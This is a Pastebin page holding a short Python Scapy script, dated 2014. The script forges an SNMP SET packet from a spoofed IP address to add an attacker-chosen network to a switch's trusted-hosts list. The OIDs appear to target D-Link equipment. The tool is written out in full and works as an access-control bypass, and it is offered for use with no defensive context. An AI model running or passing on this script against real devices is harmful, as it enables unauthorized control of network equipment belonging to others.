Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #This utility requires an 'Scapy' installed
- #xcme@2014.05.12
- import sys
- from scapy.all import *
- conf.verb=0
- if len(sys.argv) != 7:
- print "Usage : %s <target> <spoofed_ip> <community> <trusted_network_address> <trusted_network_mask> <entry_index>" % (sys.argv[0])
- print "Example: %s 192.168.0.1 192.168.10.254 private 172.16.0.0 255.255.0.0 7" % (sys.argv[0])
- print "\nUtility to create a trusted host, bypassing the trusted hosts list. You must known the correct SNMP write-community and know at least one address from the list of trusted hosts."
- print "If you used a spoofed IP the output will be empty. It's a normal behavior."
- sys.exit(1)
- target_ip = sys.argv[1]
- spoofed_ip = sys.argv[2]
- comm = sys.argv[3]
- val1 = ASN1_IPADDRESS(sys.argv[4])
- val3 = ASN1_IPADDRESS(sys.argv[5])
- val2 = 4
- eind = sys.argv[6]
- oid1="1.3.6.1.4.1.171.12.1.2.10.1.1.2.%s" % (eind)
- oid2="1.3.6.1.4.1.171.12.1.2.10.1.1.3.%s" % (eind)
- oid3="1.3.6.1.4.1.171.12.1.2.10.1.1.4.%s" % (eind)
- pkt=IP(dst=target_ip,src=spoofed_ip)/UDP(sport=7001,dport=161)/SNMP(version=1,community=comm,
- PDU=SNMPset(varbindlist=[
- SNMPvarbind(oid=ASN1_OID(oid1),value=val1),
- SNMPvarbind(oid=ASN1_OID(oid2),value=val2),
- SNMPvarbind(oid=ASN1_OID(oid3),value=val3)
- ]))
- res=sr1(pkt,timeout=1)
- if res:
- err = res[SNMPresponse].error.val
- erri = res[SNMPresponse].error_index.val
- print "error: %s (%s)" % (err, erri)
- for i in res[SNMPresponse].varbindlist:
- oid = i.oid.val
- val = i.value.val
- print "oid: %s, val: %s" % (str(oid), str(val))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement